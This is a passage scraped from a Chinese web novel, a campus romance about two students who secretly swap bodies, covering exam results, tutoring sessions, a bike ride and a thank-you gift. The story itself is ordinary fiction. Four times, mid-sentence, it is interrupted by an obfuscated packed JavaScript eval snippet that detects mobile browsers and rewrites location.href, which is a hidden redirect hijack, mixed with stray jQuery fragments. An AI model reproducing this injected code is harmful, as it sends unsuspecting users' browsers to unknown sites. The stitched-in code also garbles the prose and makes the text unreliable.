;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334485|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的空气有点稀薄。 “我吃牛肉面，你吃什么？”两人找到了位置，华可吟放下书包准备去打饭。 大学校园里只有外卖和头盔的安全保障低，食堂和图书馆里处处可见用来占座的书包，甚至手机平板。 “一起。” 两个人安静地前后排队买完饭回来，周围的目光似有似无地朝这边看来。颜值这么高的两个同学相对而坐，俊男美女的存在感让人忍不住想观察几眼。 华可吟吃了几口面条，刚想开口，却看到柏随远优雅地认真吃着面条，把食不言的规矩传达到饭毕。 忙起来时甚至会边吃饭边回消息的华可吟，硬是将这顿过分安静的饭一言不发地吃到了末尾。 把餐具送到回收处后，两人又坐回了位置。华可吟有点紧张，对方应该要开始说昨天扮演她工作太忙碌了。 “对不起。” 出乎华可吟的意料，柏随远居然低头很真诚地给她道了个歉，她忙道：“为什么要给我道歉？昨天的直播效果很好啊。” “我走神了一段时间。”柏随远道歉时脸上也没有什么特别的表情。 华可吟没想到对方居然因为这件事郑重其事地约她吃饭道歉。她记得弹幕互动阶段突然出现的几分钟事故，但她完全不觉得当时柏随远的几分钟晃神算是什么大事。 不过想起柏随远的处事作风，华可吟分析他可能是那种对自己要求很高、想要把一切做完美的性格。 华可吟善解人意地回答：“那几分钟的恶评其实算是后台人员没有清理好，不过我今天上午已经点了奶茶和蛋糕给可可还有工作人员道谢，那天多亏她在旁边控场。” “我来出吧。”柏随远打开手机先给华可吟微信转了一千块钱，接着又继续道：“也要给你道歉，可能给你造成什么影响。”如果当时身体里是她，肯定做的比自己好。 “这些就够了。”华可吟给他转回了600，接着说道：“不用对自己要求那么高，就算是我在那种情况下也不见得会毫无反应。” 看着对方真挚的笑容，柏随远的愧疚突然多了一层，他昨天居然还做了关于华可吟同学的那样的梦。 “有什么能补偿你？” 华可吟摇摇头，望着柏随远紧皱的眉头还是安慰道：“真的没事，我该走了。” 柏随远没再继续询问，他准备靠自己观察看看能做什么。 两人走下食堂，这时候人流果然少了很多。华可吟的手机忽然连续传来震动，她打开消息，是班群里几条艾特全体的通知，学委告诉大家期中的高数成绩已经可以在教务系统查询了。 “拜拜。”华可吟此时心里只有自己的成绩，随口道别后往寝室走。 柏随远跟上，发现对方完全没注意到自己的话，正眉头紧皱拿着手机在输入学号。 沉默地跟在女孩身后，柏随远索性也拿出手机查询自己的成绩。 这次的期中考试成绩会计入课程平时成绩，最后换算下来占总成绩的大概30%。 12. 私人补习 高数是一门在大一非常重要的课程，占整整5个学分。对于想要拿高绩点的同学来说，这场期中考试的高数成绩非常关键。 同样，对于高中学习就名列前茅的学生来说，这是进入大学后第一场大型考试，是在学院里证明自己能力的一个机会。 「分数：100，专业排名：1」 柏随远做完卷子后就推测自己应该能够全部答对。 确认完成绩后朝身旁看去，华可吟正满目愁容地打着字。 “快到了。”柏随远出声道。 华可吟这才注意到一路上跟在自己身边的男生，看了看眼前的宿舍楼道：“哦...哦，谢谢你送我回来。” “怎么了？发挥得不好吗？”柏随远一改常态地主动询问起了同学的成绩。 “有点吧，比我想象中低，71，可能是我复习的不全面吧”华可吟虽然觉得自己考得不太好，因为他们专业有将近两百个学生，她的成绩排名是160。但她也没觉得自己的成绩说不出口，对于学习的事华可吟一贯是坦坦荡荡的。 这个成绩确实不算好，不过柏随远也不是那种能问出来“卷子这么简单你才考这点分数？”的人，他缓缓道：“我可以给你补习。” 华可吟不知道对方怎么突然提起这个，犹豫地问道：“你，你多少分？” “满分。” 早该猜到，华可吟心口仿佛吐出一口浓血，她觉得很有难度的卷子，学霸拿了满分看起来还轻轻松松。 她知道柏随远现在提起的原因可能就是在食堂说出的“补偿”，她很想拒绝柏随远这种愧疚的想法。 可是成绩...她不想成为一个60分万岁的学生。考入S大确实是超常发挥，这半个学期的她也确实花了太多时间在工作上，可让她做学习上的咸鱼，她做不到。 自媒体不会是她人生的终点，她也才22岁，积极努力完成本科四年的学业，认真学到更多知识是她选择别的道路的一项的资本。 “不会占用你太多时间吗？”华可吟小心询问，两个人已经不知不觉走到了女生宿舍楼门口。 “我的课表发你了，周四整个下午和周末我都有时间。” 其实柏随远平时空闲时间并不多，他早就打算提前学习除了专业培养计划外的编程语言，课余的每段时间在他的安排里都有用处。 但是，柏随远看看眼前的女孩。无所谓吧，花点时间补偿她一下，也算是减轻自己的愧疚，不算浪费时间。 冬天白天很短，现在两人站在宿舍楼下，四周已经很暗了。来来往往的学生不是很多，但是有两对情侣走了过来。 两个人往里移了两步，都没注意其他人的动作。 收到柏随远发来的课表，华可吟发现对方一周足足有五天早八，不过相对的，他的晚课选的比较少，只有些通识教育课。 她有点退缩了，记忆中柏随远好像参加大大小小的比赛也很积极，这也太忙碌了。 柏随远像是看到了对方脸上的逃避，干脆利落道：“你的课表。” 对比完两张课表，柏随远说：“周四下午四点后，周五十点到午饭时间段，每周补习两次，或者周末？” 学霸的补习实在是太珍贵，有时候一个会讲题的好同学带来的帮助比只会念ppt的老师大得多，期末她必须得考得比现在好。 华可吟又确认了一遍，对方脸上全无勉强之色，她决定之后每次补习都给柏随远带点吃的喝的，期末再给他送个贵点的礼物吧。 “那就谢谢你了，主要看你什么时候有空。” “嗯。” 正打算分别，两人一转身就看到距离他们没几米距离的情侣正亲密地抱在一起。 现在没有人交谈，环境更安静了，华可吟仿佛听到了来自那对情侣的啧啧水声。 华可吟早就听说过女生宿舍楼下会有依依不舍的情侣，可这是她第一次遇到现场。声音还真是蛮大的...华可吟忍不住又去看，正好看到柏随远低着的头。 柏随远连听过没听过这种情况，男生寝室楼下的情侣很少，他更不会主动了解其他有关恋爱的事情。 他也遇到过喜欢自己的女生，可是他没有精力和时间思考这种事。他没有对谁产生过想要牵手、恋爱、共度一生的想法，也没想到大学校园里会有人在公共场合表现得这么热烈。 柏随远呼了口气，告诉自己也许这就是普通人正常的举动，是自己少见多怪。 这个场面真尴尬，华可吟刚想说些什么道别的话把柏随远送走，前面水泥路就又走来一个住在本宿舍的女生。 女生先是怒目瞪了一眼前面正抱着亲吻的情侣，又扫了眼华可吟两人，没继续翻白眼但是表情也不好。 颜值高怎么了，颜值再高也不准在女寝楼下亲密！ 华可吟知道被误会了，立马拉住了柏随远的袖子往楼侧走，走到远一点的位置才又道了遍谢，两人才就此分开。 回到寝室，正一起聊高数成绩的室友抬头分了华可吟一个眼神。 华可吟热情回应一个微笑后就准备去洗澡，睡她同一排床位的李凌表情八卦地凑到华可吟身边问：“可吟，你和计算机系那个帅哥怎么样了？” 华可吟刚想按照计划“暗示快要分手了”，却想到今天两人还一起在校园里出现了，思考后回复道：“还可以啊。” 李凌笑容更深了，果然她晚饭后回寝室路上看到的背影是这两个人。她刚刚还不好意思直接问，现在索性放开了说：“没想到你男朋友真的和传闻里一样帅啊，他有多高？” “好像，一米八多吧。”华可吟对男生的身高没那么有概念。 “男生不是过了一米八就会在不经意间说出自己的身高吗？”另一个室友赵子彦也加入了话题，留下独自坐在一旁看试卷的林书萍。 华可吟仔细回想和柏随远的相处，好像真的没听对方说起过身高，只好回答：“他没说过，反正挺高的。” “那你们平时约会都去哪儿？” “学霸是去图书馆约会吗？” 华可吟的室友虽然和她不算亲近，但也是正常的同学关系。平日里课程和作业的话题不会主动和看起来成绩一般的她讨论，但是化妆品、明星八卦这种话题会让她加入几次聊天。不过后者作为聊天话题的次数非常非常少，所以室友相处在华可吟的生活中比重较低。 就像现在，华可吟也不会觉得对方八卦地问她的恋情细节有什么冒犯之处，女孩子们的询问完全没有恶意。平日里，在她没有提起时，室友们完全没有打探相关的事，这已经非常有距离感和礼貌了。 她觉得舍友们应该是看到了今天她和柏随远在一起吃，才会聊到这的。 应付完室友，华可吟洗完澡坐在电脑桌前发呆。 一查完成绩就看到满分的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334486|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学霸，回到寝室又是学习比她好的三个室友正讨论卷子，即使是平时每天开开心心的华可吟也不自觉有点低落。 她相信自己的水平绝对不止于此，又后悔自己为什么平时不花更多时间学习。期中只考了一门高数，成绩都这么一般，那后半学期她能确保自己平衡得好学习和副业吗？ 正托脸丧气地在纸上乱涂乱画，华可吟收到了程雨濛的消息。 —鱼孟：吟宝，周五有没有空啊，陪我去这家店。【可怜巴巴】 —鱼孟：【点评网站主页】 —鱼孟：听说很好吃，离学校也很近～ —sing：晚饭可以～ —鱼孟：午饭呢？午饭呢？ —sing：上午我可能要去和柏随远去图书馆。 —鱼孟：什么！！！真的假戏真做了！！我就说吧。【墨镜歪嘴】 —sing：别多想，我们只是去补课。 —鱼孟：什么课还非得跟他去补。【斜眼】 —sing：高数。唉，考得比我预计得还低。 —鱼孟：抱抱，肯定是运气不好，复习了的题都没考到，是出卷老师的错！ —sing：【哭泣】我就是感觉，会不会我在自媒体上花太多时间了，我是不是应该和室友一样多花点时间去图书馆。 —鱼孟：多花点时间学习很好啊，但是不要和别人比较学习进度和效率啊。不知道你们专业怎么样，我们班有些同学的天赋我感觉自己一辈子都赶不上了，要是总像你这样想，我不得日夜勤练，或者立马去撞墙啦。 —sing：我也不是一定要和同学比，我就是感觉自己没用尽全力。【抱膝表情】 —鱼孟：这是大一还是高三啊？ —鱼孟：我觉得你已经做得很好了，有这么多粉丝的大一学生很少，有这么高学历的博主也很少，你不能把所有条件都和最好的人比较啊。 —sing：说的也是，唉，反正下半学期我决定好好学习！ —鱼孟：这我支持！我陪你！下半学期我也得好好学【哭泣】我的几门专业课最近的理论都好抽象啊，完全不懂老师的作业要求和课本的联系... —sing：那我可能这个学期每周都会抽时间补习高数了。【小猫拜拜】 —鱼孟：见色忘友啊～ —鱼孟：既然是真的补习我就不打扰你们了，晚上校门口见哦。 —鱼孟：不过...真的没感觉吗？ —sing：住嘴。 和好朋友哭诉一番，华可吟对于成绩的遗憾才逐渐消缓。比起不熟悉的室友和同学，明显她能在从小认识的程雨濛那里表达更真实的自己。 加油，华可吟！ 华可吟给自己加完气后，元气满满打开手机备忘录开始安排这周的视频脚本编写，这周她准备拍一个近期购物分享，她需要在这几天把准备好的十几件物品的介绍写好。 今天大致写好了脚本内容框架，又询问了室友周四下午的安排，她决定就在周四下午的宿舍拍摄这期内容。 记录好这周的计划表，华可吟看看时间已经十点多了，决定还是尽量早地把自己的安排告诉柏随远。 —sing：我们周五补习好吗？【小熊托脸】 没想到柏随远秒回了消息。 —road：可以。 —sing：【小熊嘻嘻笑】 13. 自习仓 周五英语课完，华可吟下楼时居然在大厅看到了第一次互换时在酒店碰到的楚以诚，他正和几个同学坐在外语院大厅沙发上说说笑笑。 对方的头发颜色比上次见时还要更浅，穿得有点花哨，乍一看别人可能会把他当成艺术系的学生。 对了，数模大赛要求用英文提交成果，那楚以诚应该就是外语院学生了，华可吟意识到对方出现在这里的可能性。 楚以诚也明显看到了从楼梯上走下来的华可吟，这可是柏哥的女朋友啊，何况他在上次远远看过两人回校后还关注了华可吟的账号。 不过他想了想也没上前打招呼，因为他们两没有任何接触，自己按道理应该是不认识这个美女的，总不能上去就自我介绍是柏哥的朋友吧。 更何况，柏随远疑似谈恋爱，却从来没在任何地方发过合照或和朋友分享有关女朋友的事。几个同学都猜测，说不定两个人过不了多久就会分手，人家只是随便玩玩柏随远罢了。 回忆这些八卦，楚以诚摆摆手和同学们道别了。他这节也没课，打算去图书馆做下次小组汇报的PPT。 不过连着走了五六分钟，前面华可吟的身影一直在自己前方不远不近的地方，看来对方也是去图书馆。楚以诚摸摸下巴，没想到网红平时也挺爱学习的啊。 走着走着，楚以诚的视线里出现了一个熟悉的人。只见华可吟快步走上楼梯后还跑了两步，兴高采烈地和柏随远说了什么，柏随远居然也露出了笑容回应。 我为什么要用居然？柏随远平时看起来再高冷，也不至于谈个恋爱都不对女朋友笑吧。楚以诚摇摇头，觉得自己的想法真是可笑，人家情侣不是好好的吗。 楼梯上两人还在说着什么，楚以诚为了不现在走上去让三人都尴尬，转过身背对图书馆正门做出一副正打电话的样子，却突然看到侧面一个女生也正紧盯着柏随远华可吟两人。 这个女生一头短发，还挑染了几缕渐变，穿衣打扮都很潮，在楚以诚的审美里是个很漂亮的同学。可她盯着人家小情侣干什么，不会是暗恋柏哥的女生吧？ 楚以诚用自认为最凶狠的视线朝那女生瞪过去，试图用眼神说明“不要觊觎有妇之夫”。 正实地观察柏随远究竟靠不靠谱，他是不是真的对可吟没兴趣的程雨濛察觉到一丝炽热的目光，扭头看去是个穿得花花绿绿的黄毛长发男。 这是自己院里哪个专业的？ 程雨濛仔细想想有没有在艺术学院楼里看到过这个男生，却怎么回忆都想不起来这号人。 “莫名其妙”，程雨濛瞥了一眼就转身准备回去画画。 已经刷卡进入图书馆的柏随远和华可吟不知道外面发生的一系列事，两人正在小声交谈。 “去三楼自习仓。”柏随远提前三天掐着点在小程序上预订了S大图书馆最难抢的位置。 “图书馆还有这种配置的地方啊。”华可吟没有仔细参观过图书馆的设施，也没认真看过学校的公众号推送。 “嗯。”柏随远点点头，出了电梯给华可吟带路。 自习仓是一个两面玻璃的隔音仓，图书馆在三、四、五三个楼层分别投放了五个。仓内中间一张大桌子，两边两排一体的凳子，一间最多可以做四个人。 华可吟猜测这应该就是设计来给同学们讨论或者面试的。 柏随远刷了自己的校园卡后，两人坐进了自习仓内。关上门的那一刻，连图书馆里令人舒适的白噪音都消失了。 “真的好牛啊。”华可吟不禁感叹，随即拿出了自己本周的高数作业，有几道她做完之后和答案不一样的题目。 “这道题的难点应该还是极限...” 华可吟似懂非懂地点头，即使听懂了这道，下一次拿到另一个变式她还是没把握一下做出来。 柏随远看到华可吟难得的迷茫眼神，两人隔着桌子讲题的姿势有点不舒服，他索性起身坐在了华可吟身边，用笔帽给华可吟指算式讲自己的思路。 大概觉得摸到了点门道，华可吟转头露出一个明媚的笑：“谢谢啊，这个我好像懂了。” 一抬头，没想到两人之间的距离在不知不觉间这么近了。鼻尖直对柏随远白皙的脖子，这个角度甚至能看到他眼镜后长长的睫毛，华可吟不自觉闭起了气，害怕自己的呼吸吹到柏随远身上。 听到华可吟的感谢，柏随远的声音依旧不疾不徐：“没什么。” 察觉到对方没再出声，他的眼神也从书上的题目移开，一转头就看到近在咫尺的华可吟微红的脸。 两人的视线仿佛缠绕在了一起，气氛瞬间变得有点暧昧，周围的空气一点点变得稀薄酷热，静可闻针的自习仓内两人的心跳声越来越大。 柏随远先缓过了神，觉得自己的这个行为很不礼貌，仓皇低头把书往前翻：“这个公式的推导也很重要。” 华可吟这才又轻咳了几声，心想帅哥的颜值有时候也很迷人呐。 后一个小时，两人保持了礼貌的社交距离，不知不觉也都环游在了知识的海洋里，不再在意外界的气氛。 午饭柏随远拒绝了华可吟出去吃一顿的提议，华可吟只能退而求其次地在一食堂请对方吃了一顿盖饭。 华可吟招招手：“拜拜”，停顿了一下又说：“下午见。” 两个人今天下午还有同一节选修课。 柏随远显然也意识到了这个，他点头说了句“嗯”，转头往宿舍走的时候居然有种怪异的感觉。 他从开学起一直是独来独往的人，很少有这种和同学一天约好几次见面，甚至连吃饭时华可吟都没忍住和他聊了几句天。这种和人充满熟悉感德交流琐事，居然让他产生了点从来没有过的满足感。 原来自己是缺少朋友了吗？自小学起从没有担心过交友问题的柏随远对自己发出了这样的疑问。 成绩好表现好的学生总是会收到老师的偏爱与优待，处在校园环境下的同学自然会跟随老师的风向，对成绩好的同学有意交好几分。 更何况柏随远长得好看，性格虽冷淡却不是大众印象中的书呆子，外加家庭条件看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334487|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不错，小时候即使有嫉妒他的人也不敢做出什么实际行动。 这样的柏随远无疑是天之骄子，家中父母因为他的优秀，陆续报名了不少课余兴趣班，乐器、运动、竞赛...放学铃响的那一刻就是柏父在学校门口停泊车辆的等候，小小的柏随远并没有时间接受同学发来的周末一起去电玩城的邀请。 中学后学校大部分是本地直升的学生，他平时不和同学多交流的名声早已在外，大家也都和只他讨论一些学习上的事。 柏随远也以为自己早已习惯这样高效、在别人眼里却有些孤单的日子。 可是华可吟每次活力热情的道别，对方在短短时间就能用自己的身体和合作公司的工作人员有说有笑... 甚至，华可吟有个连互换这么大的事情都能放心告知的好朋友。柏随远此时才发觉自己也许真的把同学、朋友的距离放得太远，他的生活并不是不需要他人的介入。 就让华可吟当我的第一个好朋友吧，柏随远想通了其中关键，悄悄做了一个重大的决定。 没在寝室休息多久，华可吟又赶去接着上下午的课。经历了又是一节专业课的摧残，华可吟下课后背上包去教学楼下小超市买了两瓶果汁，带去公选课的教室。 从前门走进去，柏随远果然又一个人坐在第一排靠过道的位置。 教室里提前到的人基本都坐在了后排，华可吟本打算放下果汁后也往后走，想了想又觉得不好意思，便从第一排椅子的另一边进去坐到了柏随远旁边。 “喝吧。”华可吟把橙汁放在桌子上。 “谢谢，我不...” “我买了两瓶，你对水果有过敏吗？” “没。”对方都这么说了，柏随远就接过果汁喝了一口，口味比他记忆里的要甜。柏随远不习惯吃正餐以外的东西，几乎不会主动去买饮料零食。 很快老师进来关灯播放了影片，今天居然是个爱情片，华可吟也没有打瞌睡，小口小口喝橙汁看完了全程。 下课后，由于两个人相熟了不少，收拾包往外走时华可吟随口问道：“你都怎么回宿舍啊？” “骑车。” “有自行车是不是很方便？”华可吟好奇地问，她也有点想买个自行车代步。 S大其中几栋教学楼和宿舍区间有点距离，华可吟所在的公管院更是建在了靠近校区另一侧的外墙边。有些专业课靠步行过于浪费时间，坐校内公交又总是很多人，共享单车在上课前也很难抢。 华可吟之所以前半个学期没有买代步工具，是因为她不确定自己是不是会有太多需要从校内去校外的行程，无法闭环的线路买一个自行车也无法跟上，甚至有可能因为总是放在不同的地方而被偷走。 “骑自行车回宿舍区是不是只需要十分钟，走路要三十分钟呢。”华可吟已经开始思考买什么样的车了。 看着女孩询问时羡慕的表情，正下楼的柏随远有一瞬的不自然，随即又想到自己的“朋友”决定。等两人走到一楼时，他轻声道：“坐我后座吧。” 14. 后座 “坐我后座吧。”柏随远的声音在昏暗的楼前显得格外清晰。 华可吟眨眨眼，有些意外地看着对方面无表情的脸。在她的印象里，柏随远可不是这么热情的人啊。 小时候家长管的严，中学专心学习，大学又机缘巧合下有了收入不低的副业，华可吟还没来得及体验恋爱的感觉。 但她从小到大遇到过无数或玩笑或认真的追求者，对男生喜欢自己时的害羞、紧张或是自信满满的样子都很熟悉。没有一个像柏随远这样，总是一副波澜不惊的表情。 华可吟放心了，对方应该只是好心。 “那谢谢你了。”她爽快道谢：“真没想到柏同学这么乐于助人。” 柏随远没有接话，走到一排自行车里把自己的搬了出来。 不同于大学里常见的山地车，柏随远扶着的是一辆运动品牌的城市自行车，通体磨砂黑色，后面居然有个不明显的小座位，几乎和车身融为一体。 他长腿一跨上了车，稳稳地撑住车身，微倾好让华可吟坐上来。要是没有胸前装满了的书包，也许会更帅。 华可吟侧坐在车后座，双手抓住车座下缘保持平衡。车轮转动，两个人融入了下课回寝室的人流。 冬日太阳落得早，天色已经暗了下来，呼呼冷风吹过，华可吟的目光不自觉落在了面前柏随远肩宽腰窄的背部轮廓上。 这种远途设计的车为了省力车轮都不小，柏随远居然在这个基础上又把车座往上调高了不少。从华可吟的角度看过去，前座的背影显得格外高大。 “身材还挺好。”华可吟又看了几眼才移开视线，却正好发现两人身后侧骑着一辆亮色山地车的楚以诚。晚上校园的灯光并不强烈，可楚以诚从上到下实在太过扎眼，让人一瞥就能发现。 四目相对的瞬间，楚以诚明显愣了一下，随机露出一口白牙声音不小地叫道：“嫂子！” 这个称呼让前座握着车把的柏随远突然手滑了一下，自行车身顿时走出一个“z”字晃动，吓得华可吟本能地伸手环抱住了前面的人，隔着厚厚的衣服也感觉到了那劲瘦的腰身。 果然很细，华可吟故作镇定地开口道：“小心，不要摔倒了。” “嗯。”柏随远的声音随风传来，显得有点飘忽。 华可吟这才转回头对刚刚语出惊人的男生微笑。而目睹了柏哥失误的楚以诚不敢继续搭话，也露出一个尴尬的笑后移开了目光。 下课高峰期的校园就像过年前的高速路，道路上全是一辆接着一辆的自行车，再急切的人想要超车也无法轻易从队伍中找到缺口。因此骑在两人车周围的同学，已经偷偷观察他们好几分钟了。 前面的男生看不见正脸，只能看到宽阔的背影和穿着黑色裤子的长腿。后座的女生侧坐，长长的发梢被夜晚的风吹起，露出白皙的皮肤和略施粉黛的侧脸。朦胧的夜晚，压低的帽子下只见高挺秀丽的鼻梁和薄厚适中的嘴唇，一颦一笑都让人移不开眼。 “那就是华可吟吧。” 懂的人已经和自己朋友说起了这是学校里的网红，前面应该是她男朋友，也就自然地科普起了上次她被造谣的事，想必连华可吟本人都想不到自己在学校这么有名。 议论声逐渐变大，柏随远不动声色地加快了速度，正好到了分流的路口，前面拥堵的自行车变少了，他长腿一蹬，快如一阵风般灵活地带华可吟左弯右绕，超过了一个又一个同学。 骑到校门口，刚一停车就有一个短卷发女生朝他两跑来。 “可吟。”程雨濛招手，走过来后还不着边际地上下打量了一番柏随远，随即和华可吟眨眨眼。 “这是我的好朋友程雨濛，艺术院的。这是柏随远，计算机院的。”华可吟当没看到她的暗示，给两人互相介绍后立马说：“咱们走吧。” 程雨濛上来又和柏随远打了遍招呼，刚想说什么就被华可吟拉走了。 “你。”程雨濛用手指指指华可吟，又指向身后说：“他。” 华可吟用手轻捶程雨濛伸到眼前的手指，佯装生气道：“别乱说了。” 程雨濛立马放下了手，挽住华可吟的手臂说：“哎呀，开玩笑的。他帅是挺帅，配我们可吟也只是堪堪够格啊。”说罢，又加快了脚步道：“吃更重要，咱们快打车去餐厅。” * 就在这样学习、拍摄、玩闹穿插的生活中，很快就到了期末周。这几个星期柏随远给华可吟集中补习过几次，平时华可吟下意识就把不会的题发给柏随远帮忙解答。 今年的春节比较早，在一月下旬，S大的校历通知一月六日前就会全校放假，持续时间不长，二月8日就要学生陆续返校报到。 华可吟这两周没有片刻停歇，每天废寝忘食拼命复习，终于在今天考完了专业课，只剩下了两天后全校统一测试的思修。 大学城的小清吧里，华可吟和程雨濛对坐放松心情。 “总算把作品都交完了。”程雨濛瘫在桌子上。她们专业虽然考试比其他专业少，平时和期末要交的作品却很多，非常花费时间精力。 “咱们看看票。”华可吟拿出手机打开订票软件。 “你真的要请我去旅游啊。”程雨濛星星眼望着华可吟。 “嗯哼。”华可吟挑了挑眉，这个学期程雨濛陪她做了不少事，她决定放假先带闺蜜去外地玩两天，暂定是一个降雪的旅游城市。 “我也是靠上闺蜜了。”程雨濛装样给华可吟垂肩。 其实程雨濛的家境比华可吟好不少，不然也不会学艺术了。不过好朋友认真对待副业的样子程雨濛看在眼里，华可吟想要用赚到的钱犒劳一下“好后盾”自己，两个人都挺开心的。 “可吟，你和那个小柏帅哥怎么样了。”说完旅游的事，程雨濛又换了一副八卦脸。 “就那样啊。” “我可是在图书馆碰到过你们两好几次，你账号下面甚至有网友拍到你们两的合照呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334488|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“什么？还有我们两合照？”华可吟连忙拿出手机，最近她沉迷复习都没有怎么关注自己的评论动向。 “诺，我存了呢。” 没等华可吟翻到，程雨濛就先把照片发了过来。是一张她和柏随远在自习仓里的照片，自行仓的玻璃不常清洁，因此从外往里拍，加上白天的反光，里面两人的身影像是蒙了一层雾气。不过仍是能够看出男生正俯身指着桌面，女生埋头正在写字。因为两个人的身材气质都很好，这样平常的动作，高糊的画面，还是显得非常青春甜蜜。 “呼，还行。”华可吟长舒口气，还好不是什么恶意的借位抓拍。 “评论区都在夸你们般配呢，但是你上次说的下个月分手计划呢？”程雨濛促狭地笑道。 华可吟愣住，突然意识到自己已经好久没有想到之前承诺的这句话了，当初询问柏随远能否可以假恋情时，明明说时限只用一个月。 她觉得自己简直像个骗子啊，把这种大事忘得一干二净，随即认真说道：“明天我和他见面研究寒假事情的时候顺便谈谈分手的事吧。”华可吟在外面说起互换还是较为谨慎。 “啊，我也不是这意思，你们两别急着分呀。”程雨濛感觉自己开玩笑玩脱了，她这个月几乎可以确定两人关系不一般，才想打趣一下的。 但就她对华可吟的了解，对方长了张搅动风云的脸，实际上却是个没谈过恋爱的钢铁直女，可别他们两还没挑明的事情被自己搅黄了。 “再说吧。”华可吟仍旧在思考自己怎么能把这这么重要的事拖延至今。还好现在高数考完了，补习也补完了，之后两个人除了互换时要小心，应该没什么接触了吧。 第二天，华可吟先一早先去了新开业的造景雪景公园，和约好的摄影师在里拍了些照片。接着在距离约定好的十一点半还有半个小时时，提前到达了定好的中餐包厢。 因为刚拍完照，她的身上还穿着一件棕色的皮草，画的也是成熟风格的烟熏妆。艳丽时尚的美女走进店里，右手则是提了一个巨大的包，包里还有一套今天拍摄的品牌合作衣服，左手则是一个精美的包装袋。 拎着大包的华可吟没有在意服务员好奇的目光，坐在包厢中先点了两道制作时间比较长的招牌菜，随即就从大包最底下掏出一本思修课本。后天考这门通识课程，虽然内容比专业课程好理解，但因为是闭卷考试，也需要学生把书本知识点都背熟，在这门考试拿尽可能高的分数。 十一点二十，柏随远准时出现。他跟着服务生走进来的时候看到的场面，就是这样一个艳光四射的美女正皱眉默背思修。看着华可吟认真背书的样子，他赞赏地点了点头。 “你来啦，点菜吧。”华可吟见到来人立马把书收回了包里。 “好。”柏随远接过菜单又加了一个素菜。 华可吟则从旁边椅子上拿起那个米白色的纸袋，递到柏随远面前说：“谢谢你这学期帮我补习，这个是我买的一点小礼物。” 15. 礼物 柏随远明显没想到华可吟这顿饭会送礼物，推脱几下无果后还是收下了。他是真的不会客套，只低声又说了遍谢谢，华可吟倒觉得这比那种虚伪的推拉直白得多。 菜点齐未上，两个人已经进入今天的主要话题：下一次的互换长达两天，两人必须对齐信息，以防在家人面前露出马脚。 “我在家话比较多，但你可以装生理期来了，多在自己房间呆着。”华可吟说出自己昨天好不容易想到的对策：“白天我妈问你干什么，你就说要剪视频，晚上干脆装肚子疼在房间别出来。” 柏随远怎么也没想到，华可吟昨天说的办法居然是这样，他顿了顿才开口：“我在家里话很少，你只需要别表现得太活泼就行。” 至于在外面装柏随远的经验，华可吟心想，少说话就是精髓。她点点头继续说：“我妈妈叫孟苏，以前是中学语文老师，后来身体出了点状况，换去教一周只有几节课的副科。我爸华荣在办公室，工作也不忙。” “我父亲叫柏天青，他是公司工程师，经常出差，我也不确定那两天他在不在家。我妈妈谭斯是大学教授，她平时也挺忙的。你只需要待在房间。” 两个人对完家庭信息，等服务员上菜后又互相在华可吟随身带的平板上画了自己家的户型图，详细讲述可能用到的物品的大概位置，防止刚互穿时手忙脚乱找不着东西。 这家店的招牌是烤鸭，肥瘦适中，香气扑鼻，鸭皮在顶灯下显得晶莹剔透。华可吟从早上七点一直忙到现在，胃口很好地吃了一大碗饭，吃完忍不住在桌下摸了摸自己鼓起来的小腹。 “寒假的星辰杯大赛，你组好队了吗？”柏随远开口问道。 “没...” 星辰杯是教育部领头的一项培养大学生创新精神的赛事，规模很大，影响较广，因此大部分同学在大赛开始后都会去试试。华可吟注意到大赛通知时，班级里已经有了几支组建好的队伍，她虽然有点遗憾没组上队，但还觉得明年也有机会参加。 “你可以和我一队。”比赛还没到最终确认人员的阶段，柏随远队里仍有人员空缺，前几天一个队员把自己男朋友加进来，他也立马想到自己可以让华可吟加入，要是获奖，多少都能给她加点综测分。 “你们的队伍还没满员吗？我...”华可吟有点不好意思，其余队员可能连她的能力如何都不知道。 